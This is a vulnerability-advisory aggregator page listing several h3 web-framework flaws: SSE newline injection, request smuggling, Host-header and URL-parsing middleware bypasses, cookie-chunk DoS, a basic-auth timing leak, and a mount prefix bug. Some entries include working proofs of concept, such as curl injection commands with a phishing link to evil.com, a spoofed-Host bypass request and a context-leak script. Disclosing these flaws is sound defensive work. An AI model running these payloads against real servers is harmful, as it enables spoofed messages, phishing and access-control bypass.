-Infinity
0

Vendor Risk Score

See how h3 compares to other vendors in security performance

View Risk Score →
Severity
10
EPSS
0.01%
CRLF Injection
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N

Summary

createEventStream in h3 is vulnerable to Server-Sent Events (SSE) injection due to missing newline sanitization in formatEventStreamMessage() and formatEventStreamComment(). An attacker who controls any part of an SSE message field (id, event, data, or comment) can inject arbitrary SSE events to connected clients.

Details

The vulnerability exists in src/utils/internal/event-stream.ts, lines 170-187:

typescript export function formatEventStreamComment(comment: string): string { return : ${comment}\n\n; }

export function formatEventStreamMessage(message: EventStreamMessage): string { let result = ""; if (message.id) { result += id: ${message.id}\n; } if (message.event) { result += event: ${message.event}\n; } if (typeof message.retry === "number" && Number.isInteger(message.retry)) { result += retry: ${message.retry}\n; } result += data: ${message.data}\n\n; return result; }

The SSE protocol (defined in the WHATWG HTML spec) uses newline characters (\n) as field delimiters and double newlines (\n\n) as event separators.

None of the fields (id, event, data, comment) are sanitized for newline characters before being interpolated into the SSE wire format. If any field value contains \n, the SSE framing is broken, allowing an attacker to:

1. Inject arbitrary SSE fields — break out of one field and add event:, data:, id:, or retry: directives 2. Inject entirely new SSE events — using \n\n to terminate the current event and start a new one 3. Manipulate reconnection behavior — inject retry: 1 to force aggressive reconnection (DoS) 4. Override Last-Event-ID — inject id: to manipulate which events are replayed on reconnection

Injection via the event field

Intended wire format: Actual wire format (with \n injection):

event: message event: message data: attacker: hey event: admin ← INJECTED data: ALLUSERSHACKED ← INJECTED data: attacker: hey

The browser's EventSource API parses these as two separate events: one message event and one admin event.

Injection via the data field

Intended: Actual (with \n\n injection):

event: message event: message data: bob: hi data: bob: hi ← event boundary event: system ← INJECTED event data: Reset: evil.com ← INJECTED data

Before exploit: <img width="700" height="61" alt="image" src="https://github.com/user-attachments/assets/d9d28296-0d42-40d7-b79c-d337406cbfc9" />

<img width="713" height="228" alt="image" src="https://github.com/user-attachments/assets/5a52debc-2775-4367-b427-df4100fe2b8e" />

PoC

Vulnerable server (sse-server.ts)

A realistic chat/notification server that broadcasts user input via SSE:

typescript import { H3, createEventStream, getQuery } from "h3"; import { serve } from "h3/node";

const app = new H3(); const clients: any[] = [];

app.get("/events", (event) => { const stream = createEventStream(event); clients.push(stream); stream.onClosed(() => { clients.splice(clients.indexOf(stream), 1); stream.close(); }); return stream.send(); });

app.get("/send", async (event) => { const query = getQuery(event); const user = query.user as string; const msg = query.msg as string; const type = (query.type as string) || "message";

for (const client of clients) { await client.push({ event: type, data: ${user}: ${msg} }); }

return { status: "sent" }; });

serve({ fetch: app.fetch });

Exploit

bash 1. Inject fake "admin" event via event field curl -s "http://localhost:3000/send?user=attacker&msg=hey&type=message%0aevent:%20admin%0adata:%20SYSTEM:%20Server%20shutting%20down"

2. Inject separate phishing event via data field curl -s "http://localhost:3000/send?user=bob&msg=hi%0a%0aevent:%20system%0adata:%20Password%20reset:%20http://evil.com/steal&type=message"

3. Inject retry directive for reconnection DoS curl -s "http://localhost:3000/send?user=x&msg=test%0aretry:%201&type=message"

Raw wire format proving injection

event: message event: admin data: ALLUSERSCOMPROMISED data: attacker: legit

The browser's EventSource fires this as an admin event with data ALLUSERSCOMPROMISED — entirely controlled by the attacker.

Proof:

<img width="856" height="275" alt="image" src="https://github.com/user-attachments/assets/111d3fde-e461-4e44-8112-9f19fff41fec" />

<img width="950" height="156" alt="image" src="https://github.com/user-attachments/assets/ff750f9c-e5d9-4aa4-b48a-20b49747d2ab" />

Impact

An attacker who can influence any field of an SSE message (common in chat applications, notification systems, live dashboards, AI streaming responses, and collaborative tools) can inject arbitrary SSE events that all connected clients will process as legitimate.

Attack scenarios:

- Cross-user content injection — inject fake messages in chat applications - Phishing — inject fake system notifications with malicious links - Event spoofing — trigger client-side handlers for privileged event types (e.g., admin, system) - Reconnection DoS — inject retry: 1 to force all clients to reconnect every 1ms - Last-Event-ID manipulation — override the event ID to cause event replay or skipping on reconnection

This is a framework-level vulnerability, not a developer misconfiguration — the framework's API accepts arbitrary strings but does not enforce the SSE protocol's invariant that field values must not contain newlines.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
EPSS
0.06%
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

H3 is a minimal H(TTP) framework built for high performance and portability. Prior to 1.15.5, there is a critical HTTP Request Smuggling vulnerability. readRawBody is doing a strict case-sensitive check for the Transfer-Encoding header. It explicitly looks for "chunked", but per the RFC, this header should be case-insensitive. This vulnerability is fixed in 1.15.5.

1 / 2
Source: MITRE
First published (updated )
Severity
9.1
EPSS
0.02%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

H3 NodeRequestUrl bugs

Vulnerable pieces of code : js import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3"; let app = new H3()

const internalOnly = defineHandler((event, next) => { const token = event.headers.get("x-internal-key");

if (token !== "SUPERRANDOMCANNOTBELEAKED") { return new Response("Forbidden", { status: 403 }); }

return next(); }); const logger = defineHandler((event, next) => { console.log("Logging : " + event.url.hostname) return next() }) app.use(logger); app.use("/internal/run", internalOnly);

app.get("/internal/run", () => { return "Internal OK"; });

serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access. But there's one problems here at the logger . When it log out the event.url or event.url.hostname or event.url.url

It will lead to trigger one specials method

js // url.mjs FastURL get url() { if (this.#url) return this.#url; this.#url = new NativeURL(this.href); this.#href = void 0; this.#protocol = void 0; this.#host = void 0; this.#pathname = void 0; this.#search = void 0; this.#searchParams = void 0; this.#pos = void 0; return this.#url; }

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!

And as debugging , the this.#url is null and will reach to this code : js this.#url = new NativeURL(this.href); Where is the this.href comes from ? js get href() { if (this.#url) return this.#url.href; if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; return this.#href; } Because the this.#url is still null so this.#href is built up by : js if (!this.#href) this.#href = ${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}; Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass What can be done with overwriting the event.url? Audit the code we can easily realize that the routeHanlder is found before running any middlewares js handler(event) { const route = this"~findRoute"; if (route) { event.context.params = route.params; event.context.matchedRoute = route.data; } const routeHandler = route?.data.handler || NoHandler; const middleware = this"~getMiddleware"; return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event); }

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc : py import requests url = "http://localhost:3000" headers = { "Host":f"localhost:3000/abchehe?" } res = requests.get(f"{url}/internal/run",headers=headers) print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger url() from class FastURL and need a fix immediately.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

h3 versions before 2.0.1-rc.18 fail to validate the chunk count parsed from user-controlled cookie values in setChunkedCookie() and deleteChunkedCookie() functions. Attackers can send a crafted cookie header with an extremely large chunk count to trigger an O(n²) cleanup loop that hangs the server process.

First published (updated )
Severity
6.5
EPSS
0.03%
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

A pathname parsing discrepancy in srvx's FastURL allows middleware bypass on the Node.js adapter when a raw HTTP request uses an absolute URI with a non-standard scheme (e.g. file://).

Details

When Node.js receives an absolute URI in the request line (e.g. GET file://hehe?/internal/run HTTP/1.1), req.url is set verbatim to file://hehe?/internal/run. Since this doesn't start with /, NodeRequestURL passes it directly to FastURL as a string, which stores it in #href for lazy manual parsing.

FastURL#getPos() locates the pathname by finding :// then scanning for the next / — but this fails for URLs like file://hehe?/internal/run where a ? appears before the first / after the authority. The manual parser extracts pathname as /internal/run, while native URL correctly parses it as pathname / with search ?/internal/run.

This discrepancy means the router (using the fast-path) matches /internal/run, but if any middleware triggers a deopt to native URL (e.g. by accessing hostname), subsequent middleware sees a different pathname — bypassing route-based middleware guards.

This is a bypass of CVE-2026-33131.

Impact

Route-based middleware (auth guards, rate limiters, etc.) can be bypassed on the Node.js adapter when a prior middleware triggers FastURL deopt. Requires sending a raw HTTP request (not possible from browsers).

Fix

srvx FastURL constructor now deopts to native URL for any string not starting with /, ensuring consistent pathname resolution.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
EPSS
0.03%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections.

Details The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password:

~~~typescript if (opts.password && password !== opts.password) { throw autheFailed(event, opts?.realm); } ~~~

In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte. If the first character is wrong, it returns immediately. If the first character is correct but the second is wrong, it takes slightly longer.

By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.

PoC This vulnerability is exploitable in real-world scenarios without direct access to the server machine.

To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time: 1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...). 2. Packet B: Contains a password where the first character is a guess (e.g., B...).

By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.

Impact

This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

The mount() method in h3 uses a simple startsWith() check to determine whether incoming requests fall under a mounted sub-application's path prefix. Because this check does not verify a path segment boundary (i.e., that the next character after the base is / or end-of-string), middleware registered on a mount like /admin will also execute for unrelated routes such as /admin-public, /administrator, or /adminstuff. This allows an attacker to trigger context-setting middleware on paths it was never intended to cover, potentially polluting request context with unintended privilege flags.

Details

The root cause is in src/h3.ts:127 within the mount() method:

typescript // src/h3.ts:122-135 mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; if (!originalPathname.startsWith(base)) { // <-- BUG: no segment boundary check return next(); } event.url.pathname = event.url.pathname.slice(base.length) || "/"; return callMiddleware(event, input["~middleware"], () => { event.url.pathname = originalPathname; return next(); }); }); }

When a sub-app is mounted at /admin, the check originalPathname.startsWith("/admin") returns true for /admin, /admin/, /admin/dashboard, but also for /admin-public, /administrator, /adminFoo, etc. The mounted sub-app's entire middleware chain then executes for these unrelated paths.

A secondary instance of the same flaw exists in src/utils/internal/path.ts:40:

typescript // src/utils/internal/path.ts:35-45 export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const base = withoutTrailingSlash(base); if (!input.startsWith(base)) { // <-- Same flaw: no segment boundary check return input; } const trimmed = input.slice(base.length); return trimmed[0] === "/" ? trimmed : "/" + trimmed; }

The withoutBase() utility will incorrectly strip the base from paths that merely share a string prefix, returning mangled paths (e.g., withoutBase("/admin-public/info", "/admin") returns /-public/info).

Exploitation flow:

1. Developer mounts a sub-app at /admin with middleware that sets event.context.isAdmin = true 2. Developer defines a separate route /admin-public/info on the parent app that reads event.context.isAdmin 3. Attacker requests GET /admin-public/info 4. The /admin mount's startsWith check passes → admin middleware executes → sets isAdmin = true 5. The middleware's "restore pathname" callback fires, control returns to the parent app 6. The /admin-public/info handler sees event.context.isAdmin === true

PoC

javascript // poc.js — demonstrates context pollution across mount boundaries import { H3 } from "h3";

const adminApp = new H3();

// Admin middleware sets privileged context adminApp.use(() => {}, { onRequest: (event) => { event.context.isAdmin = true; } });

adminApp.get("/dashboard", (event) => { return { admin: true, context: event.context }; });

const app = new H3();

// Mount admin sub-app at /admin app.mount("/admin", adminApp);

// Public route that happens to share the "/admin" prefix app.get("/admin-public/info", (event) => { return { path: event.url.pathname, isAdmin: event.context.isAdmin ?? false, // Should always be false here }; });

// Test with fetch const server = Bun.serve({ port: 3000, fetch: app.fetch });

// This request should NOT trigger admin middleware, but it does const res = await fetch("http://localhost:3000/admin-public/info"); const body = await res.json(); console.log(body); // Actual output: { path: "/admin-public/info", isAdmin: true } // Expected output: { path: "/admin-public/info", isAdmin: false }

server.stop();

Steps to reproduce:

bash 1. Clone h3 and install git clone https://github.com/h3js/h3 && cd h3 corepack enable && pnpm install && pnpm build

2. Save poc.js (above) and run bun poc.js Output shows isAdmin: true — admin middleware leaked to /admin-public/info

3. Verify the boundary leak with additional paths: GET /administrator → admin middleware fires GET /adminstuff → admin middleware fires GET /admin123 → admin middleware fires GET /admi → admin middleware does NOT fire (correct)

Impact

- Context pollution across mount boundaries: Middleware registered on a mounted sub-app executes for any route sharing the string prefix, not just routes under the intended path segment tree. This can set privileged flags (isAdmin, isAuthenticated, role assignments) on requests to completely unrelated routes. - Authorization bypass: If an application uses mount-scoped middleware to set permissive context flags and other routes check those flags, an attacker can access protected functionality by requesting a path that string-prefix-matches the mount base but routes to a different handler. - Path mangling: The withoutBase() utility produces incorrect paths (e.g., /-public/info instead of /admin-public/info) when the input shares only a string prefix, potentially causing routing errors or further security issues in downstream path processing. - Scope: Any h3 v2 application using mount() with a base path that is a string prefix of other routes is affected. The impact scales with how the application uses middleware-set context values.

Recommended Fix

Add a segment boundary check after the startsWith call in both locations. The character immediately following the base prefix must be /, ?, #, or the string must end exactly at the base:

Fix for src/h3.ts:127:

diff mount(base: string, input: FetchHandler | FetchableObject | H3Type) { if ("handler" in input) { if (input["~middleware"].length > 0) { this["~middleware"].push((event, next) => { const originalPathname = event.url.pathname; - if (!originalPathname.startsWith(base)) { + if (!originalPathname.startsWith(base) || + (originalPathname.length > base.length && originalPathname[base.length] !== "/")) { return next(); }

Fix for src/utils/internal/path.ts:40:

diff export function withoutBase(input: string = "", base: string = ""): string { if (!base || base === "/") { return input; } const base = withoutTrailingSlash(base); - if (!input.startsWith(base)) { + if (!input.startsWith(base) || + (input.length > base.length && input[base.length] !== "/")) { return input; }

This ensures that /admin only matches /admin, /admin/, and /admin/... — never /admin-public, /administrator, or other coincidental string-prefix matches.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203